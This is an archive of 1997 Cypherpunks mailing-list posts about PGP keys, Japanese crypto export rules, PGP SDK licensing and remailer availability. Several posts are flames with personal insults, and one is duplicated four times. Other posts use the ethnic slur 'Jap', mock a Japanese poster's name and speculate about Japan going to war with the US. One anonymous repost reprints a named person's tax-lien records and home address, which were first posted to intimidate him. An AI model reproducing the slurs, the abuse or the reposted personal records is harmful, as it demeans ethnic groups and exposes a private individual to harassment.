0r+1f35f4LhxCOyf2FLV6+hI9Rjd9Uu3rrYNJeEABRG0HFdvb2R3b3NlIDxXb29k
d29zZUBkZXYubnVsbD6JARUDBRA0YJtZ9Uu3rrYNJeEBAcLbB/90co6BJRGtIrNZ
2BqiA8+VrsGQMzUfCl4cas4i+G0aKigkemW/TlbSUEF7YIk7bh/ZQ49eAGucrfM5
NICAqSSzNQx+3h2pzYn/uN5+55QOLho4PwwJw+qr31o+weuIgyoMuECNb2IZUtGn
fwfC3MZtZrqwfSzoXpJRZNQCrj+lZKUc14VEJ9kcw1Vt93+E6dTPd+GgyAlcbZ9v
6thY86iTmccCDMv5tPvrAQ/buPHZif1mFs3Ii2pBZ06gpypj2vVTJ63wp5tfASZL
RwfXJT3CmjiCQFpHQIGNDwZmc4YaFaFUGobI47nEJXksdTrE8o1f9ISwrDc2RZIX
+VP1+pyo
=7OWl
- -----END PGP PUBLIC KEY BLOCK-----


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBUAwUBNHAMZfthU5e7emAFAQG6kAH4zcbnumeZlyG6N5jP5TLPHVQYXM82P314
su1zAC/GnrlwtAnwgN8UtlYpr+Gkz8SkIK740DCgc+PRirzfF0K6
=c1lS
-----END PGP SIGNATURE-----

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Mon, 17 Nov 1997 00:44:45 +0800
To: cypherpunks@cyberpass.net
Subject: Exporting crypto from Japan : Was Tim May's offensive racism (was: about RC4)
In-Reply-To: <78ce81bf80f38ec4664ed8e4cdcd402f@anon.efga.org>
Message-ID: <199711161635.BAA06329@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:02 97/11/14 -0700, Tim May wrote:
> Which explains why that Japanese-produced RSA chip was suddenly withdrawn
> from the market shortly after Jim Bidzos held it up in fron of Congress as
> an example of how foolish the U.S. export laws are. The Japanese stooges
> were ordered by their masters in Washington to conform to U.S. policy.
> 
> --Tim May

By the way, the chip was not "withdrawn from the market." MITI
has not approved its export. The imporant point is, a recent regulation
called the "Gyousei Tetsuzuki Hou" (translates roughly as,
"ministry administrative law/guidelines") makes it illegal for a ministry
to regulate or restrict an activity without a clear and easy to understand
process and documentation. MITI's current method of "case-by-case"
export permission could technically be viewed as a breach of this
law/regulation. Also, the "Gyousei Tetsuzuki Hou" has time limits
for ministries to respond to requests. I have informed RSA that they
could take MITI to court on this one, but as far as I know, they haven't.
So, yes, Japanese stooges were involved, but companies such as RSA
haven't taken advantage of their legal position in pushing the export
of their products from Japan.

Maybe we should try to get Mr. Nakatuji to apply for a permit to
export his Misty stuff. ;-P

 - Joi

P.S. We had a cypherpunks-j meeting the other day and no one
knew who this Nakatuji guy was. I thought he might be some anti-Japanese
person trying to discredit the Japanese cypherpunks, but another participant
pointed out that the curses he launched at Tim were very authentic
Japanese so my theory was unlikely. For the record, he is not one
of "us". Whatever that means...
--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SL Baur <steve@xemacs.org>
Date: Mon, 17 Nov 1997 17:51:38 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Hard To Read PGP 5.5 Key
In-Reply-To: <3.0.3.32.19971117012039.0074c0f8@popd.ix.netcom.com>
Message-ID: <m2zpn34ztb.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:

> "Benjamin Chad Wienke" <woodwose@mailexcite.com>
> posted a message with the PGP 5.5 key attached below.
> My Eudora 3.0.3 plugin couldn't find any PGP-relevant information,

Maybe you need a more modern email program.

It worked fine for me with the (relatively ancient) Mailcrypt in
XEmacs.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Mon, 17 Nov 1997 17:54:39 +0800
To: cypherpunks@cyberpass.net
Subject: KC is an Idiot
Message-ID: <HJJIHMFFBLHKAAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:00 AM 11/16/97 -0800, Kent Crispin wrote:
>Hmm -- I've been robbed at gunpoint 3 times, pistol-whipped once. 
The
>perpetrators were all minorities; none were ever caught.  Possessing
a
>gun at the time wouldn't have made a positive difference in any of
the
>cases, incidentally.  (I own several guns; I am quite familiar with
>guns; I no longer really have a use for them, though.)

I thought Kent was a liberal suckup shill, but now I realize he is
merely a stupid jackass. Unless Kent walks around in a semipermanent
state of rectal defilade, having a gun in his posession WOULD have
made a significant difference in each case. A certain amount of
situational awareness IS required to have your gun aimed at the
punk(s) before the punks get the drop on you. Anyone unable to be
aware of their surroundings deserves whatever they get--natural
selection removing stupid genes from the pool and all that.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQEVAwUBNG/tXPVLt662DSXhAQF89Qf+PDc57MywdPm+Fq3UxUekkbwRs9Ltp8bo
1owPCO2Ea3rBTm7+sWBklDNbNc2RXA0Id6BZv3PDxkJtKvimsMiaQ9jfxk/x+tts
jNpZWSJnN3AJWdsqF1t9nD7A6cVl/MAS5gC6A16rNcG1IKVCB4Om6kD9e1Dc+d1W
ynzUxEQ7y0xbs5YnZvZtDSHjTPSSGEIDThBQMkuhXVH8Uy7MCTbLMhG9Y3alF+ET
ydxVqIPxZzKWV/vBC9DC9OkOymKoL/bAoZYk85qgUSk/B6Boj6SNizN9uYaUNB4n
eNtW4FL/tSuPxjJyDDZhyEiMGvvkjD4TawTTtOXWMt4lPHeTnjKuoQ==
=wGpo
-----END PGP SIGNATURE-----



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Mon, 17 Nov 1997 17:58:09 +0800
To: cypherpunks@cyberpass.net
Subject: KC is an Idiot
Message-ID: <KPLJFDFLJMHKAAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:00 AM 11/16/97 -0800, Kent Crispin wrote:
>Hmm -- I've been robbed at gunpoint 3 times, pistol-whipped once. 
The
>perpetrators were all minorities; none were ever caught.  Possessing
a
>gun at the time wouldn't have made a positive difference in any of
the
>cases, incidentally.  (I own several guns; I am quite familiar with
>guns; I no longer really have a use for them, though.)

I thought Kent was a liberal suckup shill, but now I realize he is
merely a stupid jackass. Unless Kent walks around in a semipermanent
state of rectal defilade, having a gun in his posession WOULD have
made a significant difference in each case. A certain amount of
situational awareness IS required to have your gun aimed at the
punk(s) before the punks get the drop on you. Anyone unable to be
aware of their surroundings deserves whatever they get--natural
selection removing stupid genes from the pool and all that.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQEVAwUBNG/tXPVLt662DSXhAQF89Qf+PDc57MywdPm+Fq3UxUekkbwRs9Ltp8bo
1owPCO2Ea3rBTm7+sWBklDNbNc2RXA0Id6BZv3PDxkJtKvimsMiaQ9jfxk/x+tts
jNpZWSJnN3AJWdsqF1t9nD7A6cVl/MAS5gC6A16rNcG1IKVCB4Om6kD9e1Dc+d1W
ynzUxEQ7y0xbs5YnZvZtDSHjTPSSGEIDThBQMkuhXVH8Uy7MCTbLMhG9Y3alF+ET
ydxVqIPxZzKWV/vBC9DC9OkOymKoL/bAoZYk85qgUSk/B6Boj6SNizN9uYaUNB4n
eNtW4FL/tSuPxjJyDDZhyEiMGvvkjD4TawTTtOXWMt4lPHeTnjKuoQ==
=wGpo
-----END PGP SIGNATURE-----



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Mon, 17 Nov 1997 17:57:31 +0800
To: cypherpunks@cyberpass.net
Subject: KC is an Idiot
Message-ID: <KLFBDPGIHNHKAAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:00 AM 11/16/97 -0800, Kent Crispin wrote:
>Hmm -- I've been robbed at gunpoint 3 times, pistol-whipped once. 
The
>perpetrators were all minorities; none were ever caught.  Possessing
a
>gun at the time wouldn't have made a positive difference in any of
the
>cases, incidentally.  (I own several guns; I am quite familiar with
>guns; I no longer really have a use for them, though.)

I thought Kent was a liberal suckup shill, but now I realize he is
merely a stupid jackass. Unless Kent walks around in a semipermanent
state of rectal defilade, having a gun in his posession WOULD have
made a significant difference in each case. A certain amount of
situational awareness IS required to have your gun aimed at the
punk(s) before the punks get the drop on you. Anyone unable to be
aware of their surroundings deserves whatever they get--natural
selection removing stupid genes from the pool and all that.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQEVAwUBNG/tXPVLt662DSXhAQF89Qf+PDc57MywdPm+Fq3UxUekkbwRs9Ltp8bo
1owPCO2Ea3rBTm7+sWBklDNbNc2RXA0Id6BZv3PDxkJtKvimsMiaQ9jfxk/x+tts
jNpZWSJnN3AJWdsqF1t9nD7A6cVl/MAS5gC6A16rNcG1IKVCB4Om6kD9e1Dc+d1W
ynzUxEQ7y0xbs5YnZvZtDSHjTPSSGEIDThBQMkuhXVH8Uy7MCTbLMhG9Y3alF+ET
ydxVqIPxZzKWV/vBC9DC9OkOymKoL/bAoZYk85qgUSk/B6Boj6SNizN9uYaUNB4n
eNtW4FL/tSuPxjJyDDZhyEiMGvvkjD4TawTTtOXWMt4lPHeTnjKuoQ==
=wGpo
-----END PGP SIGNATURE-----



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Mon, 17 Nov 1997 17:57:47 +0800
To: cypherpunks@cyberpass.net
Subject: KC is an Idiot
Message-ID: <GFDMOJOEKNHKAAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:00 AM 11/16/97 -0800, Kent Crispin wrote:
>Hmm -- I've been robbed at gunpoint 3 times, pistol-whipped once. 
The
>perpetrators were all minorities; none were ever caught.  Possessing
a
>gun at the time wouldn't have made a positive difference in any of
the
>cases, incidentally.  (I own several guns; I am quite familiar with
>guns; I no longer really have a use for them, though.)

I thought Kent was a liberal suckup shill, but now I realize he is
merely a stupid jackass. Unless Kent walks around in a semipermanent
state of rectal defilade, having a gun in his posession WOULD have
made a significant difference in each case. A certain amount of
situational awareness IS required to have your gun aimed at the
punk(s) before the punks get the drop on you. Anyone unable to be
aware of their surroundings deserves whatever they get--natural
selection removing stupid genes from the pool and all that.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQEVAwUBNG/tXPVLt662DSXhAQF89Qf+PDc57MywdPm+Fq3UxUekkbwRs9Ltp8bo
1owPCO2Ea3rBTm7+sWBklDNbNc2RXA0Id6BZv3PDxkJtKvimsMiaQ9jfxk/x+tts
jNpZWSJnN3AJWdsqF1t9nD7A6cVl/MAS5gC6A16rNcG1IKVCB4Om6kD9e1Dc+d1W
ynzUxEQ7y0xbs5YnZvZtDSHjTPSSGEIDThBQMkuhXVH8Uy7MCTbLMhG9Y3alF+ET
ydxVqIPxZzKWV/vBC9DC9OkOymKoL/bAoZYk85qgUSk/B6Boj6SNizN9uYaUNB4n
eNtW4FL/tSuPxjJyDDZhyEiMGvvkjD4TawTTtOXWMt4lPHeTnjKuoQ==
=wGpo
-----END PGP SIGNATURE-----



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Mon, 17 Nov 1997 18:14:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exporting crypto from Japan
Message-ID: <KAKPEOBNNKIKAAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 06:37 PM 11/16/97 PST, Nobuki Nakatuji wrote:
>Do you readJapanese import & export law book?
>If you don't read at yet,You must read it.

I bet that NoNookie's next post offers copies of Jap inport/export
laws for $50.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQEVAwUBNHAPCfVLt662DSXhAQHt9wgAkGTzSVIZp2jXh0df22a7Ah3y8hVPyzb4
3kuPrFs4o6+lhdgX3pE6r9F213Hl7/qaDheB/u0bXgnlGtK6gEdL+QBtGg78myRe
F82sLxoNQHam31lZ7SRRqJ1GzlbPtPSWuHf3KwN7oaf7QaV/0mWViUYROCB94oqR
cpAPnXLzXmeUmHmw8tePSES8KRHA5Gt2MD4Sda2LrJ+RUFvnXw2sG9TCrXeDLFx2
d8LBocy8eCYugc/lowF6NY80EfcFZb1fY+0lAGHg0d1NydJg+x9XxjNR2HBLEmTB
+jF1b5gg6f9pVPrqqncmQWHLZAYUO0NuA4DHzHtM0cRh0V2bDBXTSg==
=guKp
-----END PGP SIGNATURE-----



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Mon, 17 Nov 1997 18:19:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exporting crypto from Japan
Message-ID: <JPOGPNJHEAJKAAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 06:37 PM 11/16/97 PST, Nobuki Nakatuji wrote:
>Do you readJapanese import & export law book?
>If you don't read at yet,You must read it.

I bet that NoNookie's next post offers copies of Jap inport/export
laws for $50.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQEVAwUBNHAPCfVLt662DSXhAQHt9wgAkGTzSVIZp2jXh0df22a7Ah3y8hVPyzb4
3kuPrFs4o6+lhdgX3pE6r9F213Hl7/qaDheB/u0bXgnlGtK6gEdL+QBtGg78myRe
F82sLxoNQHam31lZ7SRRqJ1GzlbPtPSWuHf3KwN7oaf7QaV/0mWViUYROCB94oqR
cpAPnXLzXmeUmHmw8tePSES8KRHA5Gt2MD4Sda2LrJ+RUFvnXw2sG9TCrXeDLFx2
d8LBocy8eCYugc/lowF6NY80EfcFZb1fY+0lAGHg0d1NydJg+x9XxjNR2HBLEmTB
+jF1b5gg6f9pVPrqqncmQWHLZAYUO0NuA4DHzHtM0cRh0V2bDBXTSg==
=guKp
-----END PGP SIGNATURE-----




Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Mon, 17 Nov 1997 18:30:10 +0800
To: SL Baur <stewarts@ix.netcom.com>
Subject: Re: Hard To Read PGP 5.5 Key
In-Reply-To: <Bill Stewart's message of "Mon, 17 Nov 1997 01:20:39 -0800">
Message-ID: <3.0.3.32.19971117022350.0328cb5c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3986.1071713752.multipart/signed"

--Boundary..3986.1071713752.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 01:47 AM 11/17/97 -0800, SL Baur wrote:
>Bill Stewart <stewarts@ix.netcom.com> writes:
>
>> "Benjamin Chad Wienke" <woodwose@mailexcite.com>
>> posted a message with the PGP 5.5 key attached below.
>> My Eudora 3.0.3 plugin couldn't find any PGP-relevant information,
>
>Maybe you need a more modern email program.
>
>It worked fine for me with the (relatively ancient) Mailcrypt in
>XEmacs.

Try highlighting the public key block including the "Begin Public Key" and
the "End Public Key" lines, then click the extract key button.  I use
Eudora 3.0.3 and that worked fine.  I think the multiple keys in the
message may confuse the plug-in.


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3986.1071713752.multipart/signed
Content-Type: application/octet-stream; name="pgp00010.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00010.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5IQWJVOEpGMGtYcXB3
M01FUUpTMHdDZlFIMkZqU3RBdGQ5NjNRbGNuVkIzeFZZM3R3SUFuMVg4Cnhs
SWJrQzF6ZE9Ya0NwV2VEUHg0cXRDTAo9S2V4dAotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3986.1071713752.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Mon, 17 Nov 1997 18:38:03 +0800
To: "Cypherpunks List" <cypherpunks@cyberpass.net>
Subject: Re: [FWD] Finding a Face in the Crowd
Message-ID: <MEPLJOFKGBKKAAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:09 PM 11/16/97 -0800, Steve Schear wrote:
>Oh well Mr. Orwell, you've never believe how far we've come...
>
>"Mugspot" Can Find A Face In The Crowd - Award-Winning Face
Recognition
>Software Prepares to Go to Work in the Streets
>
>Computer "eyes" are now up to such tasks as watching for fugitives in
>airline terminals and other busy locations. A sophisticated
>face-recognition system that placed first in recent Army competitive
>trials has been given the added ability to pick out faces in noisy or
>chaotic "street" environments.
><...snip...>
>
>The USC/Bochum system also shone in tests conducted under substandard
>lighting conditions: It lost only a small fraction of its accuracy,
>while competitors showed drastic falloffs in less-than-brilliant
>illumination.
>
>The USC/Bochum system uses an unusual approach that mimics the
>technique scientists believe the brain uses to recognize images. Von
>der Malsburg, whose principal research interests lie in the
>investigation of living brains, in fact carried out much of the
>original research on the system as part of an attempt to understand
>human face recognition. His research led to creating a computer model
>of the way the brain's visual cortex processes information.

To make this work really well, link it to the
listening/locating/voiceprinting system described in the "Technology
Secures Gunfire" thread for the purpose of aiming the cameras for
greatest effect.  1984's "Big Brother" wasn't shit compared to this.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQEVAwUBNHAN7PVLt662DSXhAQHK2wgAilb7w4bBZ8ieNxgT1w4LkPqVSHF0U/3E
TFcnrAQXMnIky7Pvh3PoU3+0GmPDCJ7hFwrXo3IkNFpTbqkEZkSYx2VCR1soVdSW
yUnYeq13A4aYwhuw17Rb+gp/iOm0mJdVhLcWyntHdRrNtjqPq1Kz1G7jidVYo/LS
PpP/W9Xf4JJdlz5Wi84skupl5oX3UC6lKC9ag5JU+VGcunmy0QkRkTZRCkIEBtvG
tGjKp5KOst8MdMHeGFmKKS3/ckBXwn9drUntOrJBARihuzXU9cXnTGMHqUkRAc59
RFPHYuVDeNmw4dHsZ4Dg01cC0AXPIytjbH9sMrWitmF6hJCLxydOcw==
=RbMM
-----END PGP SIGNATURE-----




Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 17 Nov 1997 10:46:18 +0800
To: cypherpunks@toad.com
Subject: Digital Revolution!
Message-ID: <199711170236.DAA14301@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



		~~~ IMPORTANT NOTE ~~~
	This is NOT a chainletter, it is an ANTI-CHAINLETTER!
	This message has gone to everyone in the world with a
	computer, and we are asking you to go to the homes and
	businesses of ten people you know, and delete it.
		~~~ IMPORTANT NOTE ~~~

I am proud to announce the formation of the DIGITAL MAJORITY TAX FREE
FOUNDATION for the purpose of serving as the voice of people with ten
fingers, across the face of the earth.

As a one-person operation, the DIGITAL MAJORITY TAX FREE FOUNDATION
will be able to voice opinions representative of all ten-fingered 
people for a fraction of the cost of the bloated bureacracies which
bleed charitable people around the world dry through a multitude of
sham organizations catering to narrowly focused self-interest groups
which have spread like a plague throughout the DEXADIGITAL community.

As the sole member of the Digitally United Membership Board, I will
be in a position to speak for practically everyone, everywhere, on
all issues, and getting stinking rich while still bleeding the mass
of humanity of their hard-earned money at a mere fraction of the
cost of the current unweildy network of tax deductible rights and
freedoms organizations.
  The DIGITAL MAJORITY believes in equal charitablization for those
with equal digitization, as well as many other vague concepts under
which all DexaDigital people can stand under the flag of freedom on
the distant shores where bells ring for liberty and all mankind.

To save the life of a single child, send your contributions to:
   DIGITAL MAJORITY, BOX 281, BIENFAIT, SK. CANADA S0C 0M0

~~~~~~~~~~~~~~~~~~~~~~~~~
This message sponsored by:
        Modern Motels of Bienfait Conglomeration
     "Modern, in the traditional sense of the word."
~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 17 Nov 1997 12:27:24 +0800
To: cypherpunks@www.video-collage.com
Subject: kiwi not home (was: getting premail)
Message-ID: <ciQ052BPHhNlGI87sr7/tQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov wrote:

> > Bill Stewart wrote:
> > 
> > At 11:11 PM 11/13/1997 -0600, Igor Chudov @ home wrote:
> > >Anyone know of a WORKING site where I can download premail from?
> > >kiwi...berkeley is refusing connections.
> > 
> > http://atropos.c2.net/~raph/premail.html
> > 
> > Also look at www.publius.net
> 
> Nope, all of these sites refer me to kiwi, which is refusing > connections.

kiwi is NOT refusing connections.  It is just not there.  There's 
a difference.

The host:

	http://kiwi.cs.berkeley.edu/

does not respond to connection requests to port 80, nor 8080, nor 8001.

Ping yields "Host lookup failed - Non-authoritative host not found."

The browser indicates it is trying to contact, which can mean anything
up to and including that it is awaiting a cascading name lookup, but 
has not yet opened a TCP connection to the target. I'm guessing kiwi 
is Raph's computer in Computer Science and that maybe it is hosed. 
Maybe Raph has been hosed... 

    "(WHAP!) Tell us the name of your leader! (WHAP!) Talk! (WHAP!)" 

Maybe Raph will turn up one of these days writing plaintive 
notes of contrition. Maybe... oh, never mind.

Oddly, while Raph has a home page at www.cs.berkeley.edu and 
at atropos.c2.net/, all the critical roads seem to lead to kiwi, 
including the mixmaster list. Search engines show precious few references to critical remailer files except in the links that 
point to the dead host. Is it really this easy to make the whole
remailer network go stale -- like cutting off jet fighter spare 
parts to suddenly unfriendly nation-states?

Wouldn't it be prudent to mirror the remailer lists, keys and 
stats at a few dozen places scattered around the world? Would
it take more than a few percent of the effort and time that have
recently been pissed down a hole writing and reading the flames
that have consumed the list of late? Hmmmm?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jonathon <grafolog@netcom.com>
Date: Mon, 17 Nov 1997 12:31:11 +0800
To: Joichi Ito <jito@eccosys.com>
Subject: Re: Exporting crypto from Japan
In-Reply-To: <199711162343.IAA12079@eccosys.com>
Message-ID: <Pine.SUN.3.95.971117041411.4208F-100000@netcom13>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 17 Nov 1997, Joichi Ito wrote:

> issue and gave them the recommendation. It is likely that some pressure
> from the US government is being put on Japanese ministries such as MITI,

	Some pressure?  A simple little phone call is all it took,
	for Japan INC, to knuckle down to the NSA.  

> necessary to write off all Japanese as stooges. Also, I disagree that there
> is "no apparent prospects for them _ever_ becoming available." This is not

	Japan INC, won't make those chips, untill either:
	1: the NSA tells them to go ahead and make the
	or
	2:  Japan thinks it is ready to declare war on the US, again,
	and needs those chips for military conquest.   

	I vote for option 2 happening far sooner than option 1.
	
	Just how soon do you think Japan will be willing to declare
	war against the US, with a hope of winning it?  

          xan

          jonathon
          grafolog@netcom.com


	There are operating systems that were not dreamed up,
	in Redmond.

	Some of them even are bug-free.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Mon, 17 Nov 1997 13:18:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGPsdk is now free for non-commercial use
In-Reply-To: <3.0.3.32.19971116182556.0072fe08@popd.ix.netcom.com>
Message-ID: <346fceac.2664896@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 16 Nov 1997 22:18:39 -0600, Alan Olsen <alan@clueserver.org> wrote:

>>From what I have read of the license it is against the license agreement to
>ship the libraries on a CD of shareware products for which a price is charged.
>
>If I were to create a program using the libraries and upload them to Simtel
>or one of the other big archives, it could not be distributed on a Simtel
>CD-ROM that someone was charging money for.  (Ignoring the usual export
>issues.)
>
>I see this as a big problem.

This, unfortunately, is a non-issue.  I just reread the license agreement
and noticed the following:

Non-Commercial Distribution License.

 Subject to all the terms and conditions of this Agreement, PGP hereby
grants to you or your organization a limited, nonexclusive, nontransferable
license (a) to incorporate [... stuff deleted ...] 
and (b) to reproduce and distribute the Bundled Freeware Application to end
users solely by electronic means (for example, posting on networks or
Internet sites for others to download), 

So, the only way to really (legally) distribute this would be on your own
web site, or a web site that will never be picked up on a cdrom
distribution.

The as of yet unreleased shareware licensing agreements will probably cover
cdrom distribution.

-- Phelix

(ps.  always read anything written by lawyers twice)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Mon, 17 Nov 1997 22:37:53 +0800
To: cypherpunks@toad.com
Subject: [REPOST] Gary Burnore's Attack on Privacy
Message-ID: <199711171412.GAA08263@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



If anyone doubts Gary Burnore's vindictive nature and his disregard for the
privacy of others, read this message from him where he dug up an old tax
lien filed against one of his critics and broadcast it worldwide on Usenet in 
order to embarass him and intimidate him into silence about Gary Burnore and
his abusive tactics:

--- BEGIN INCLUDED MESSAGE ---

Subject: Re: Monkey-boys position
From: gburnore@netcom.com (Gary L. Burnore)
Date: Thu, 13 Feb 1997 02:01:14 GMT 
Message-ID: <gburnoreE5Iqy2.H8C@netcom.com>
Organization: the home office in Wazoo, NE
Newsgroups: news.admin.net-abuse.email,news.admin.net-abuse.misc,news.admin.net-abuse.usenet
References: <gburnoreE51xvo.2zK@netcom.com>
            <5doim6$32q$1@monkeys.com> <twficE5G4HL.Fp9@netcom.com>
            <wotanE5Gu0t.8Hv@netcom.com> <5drvl3$bvr$1@monkeys.com>
 
Ronald F. Guilmette (rfg@monkeys.com) wrote:
{ In article <wotanE5Gu0t.8Hv@netcom.com>,  <Wotan> wrote:
{ >In article <twficE5G4HL.Fp9@netcom.com>,
{ >Ty Fairchild <twfic@netcom.com> wrote while drinking:
{ >
{ >>Fortunately this thread will not be extended by any further follow from
{ >>monkeyboy.  His public pronouncement states his position.
{ >          
{ >Y'all mean bent over a post spreading his ass cheeks and yelling "Fuck
{ >me" to any passing entity?
 
{ Atta boy Wotan, my little BaBaBasicks bean brain.  Jump in again any time.
 
What say each time you slam DataBasix for no reason, we post some
publicly available information about monkeys.com.  HEre's the first try:
 
 
+ 
+Filing Number:          90226822 
+Document Type:      STATE TAX
+Filing Date:               04/30/90
+Amount:                    $157,705
+Debtor:                      GUILMETTE, RONALD F, <ssn deleted>
+                                   550 PAULARINO AV, COSTA MESA, CA
+Court/County:           ORANGE REC, ORANGE, CA
+Certificate:                90114005621 
+Tax Authority:           FRANCHISE TAX BOARD
+Release Number:     90431912
+Release Date:          08/15/90
+
+Filing Number:          336573L
+Document Type:      STATE TAX
+Filing Date:               04/27/90
+Amount:                    $157,705
+Debtor:                      GUILMETTE, RONALD F, <ssn deleted>
+                                   550 PAULARINO AV, COSTA MESA, CA
+Court/County:           SANTA CLARA REC, SANTA CLARA, CA
+Certificate:                90114005622
+Tax Authority:           FRANCHISE TAX BOARD
+Release Number:    4451377L
+Release Date:         08/10/90
+
 
 
More where this came from. Yu wanna keep slamming DataBasix for no good
reason?
 
--
gburnore@databasix.com                       mailto:gburnore@databasix.com
---------------------------------------------------------------------------
                    What's another word for Thesaurus?
---------------------------------------------------------------------------
Gary L. Burnore                       |  ][3:]3^3:]3][3:]3^3:]3]3^3:]3]][3  
DataBasix                             |  ][3:]3^3:]3][3:]3^3:]3]3^3:]3]][3
San Francisco, CA                     |  ][3:]3^3:]3][3:]3^3:]3]3^3:]3]][3
                                      |  ][3 3 4 1 4 2  ]3^3 6 9 0 6 9 ][3
http://www.databasix.com              |     Official Proof of Purchase
===========================================================================

--- END INCLUDED MESSAGE ---

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
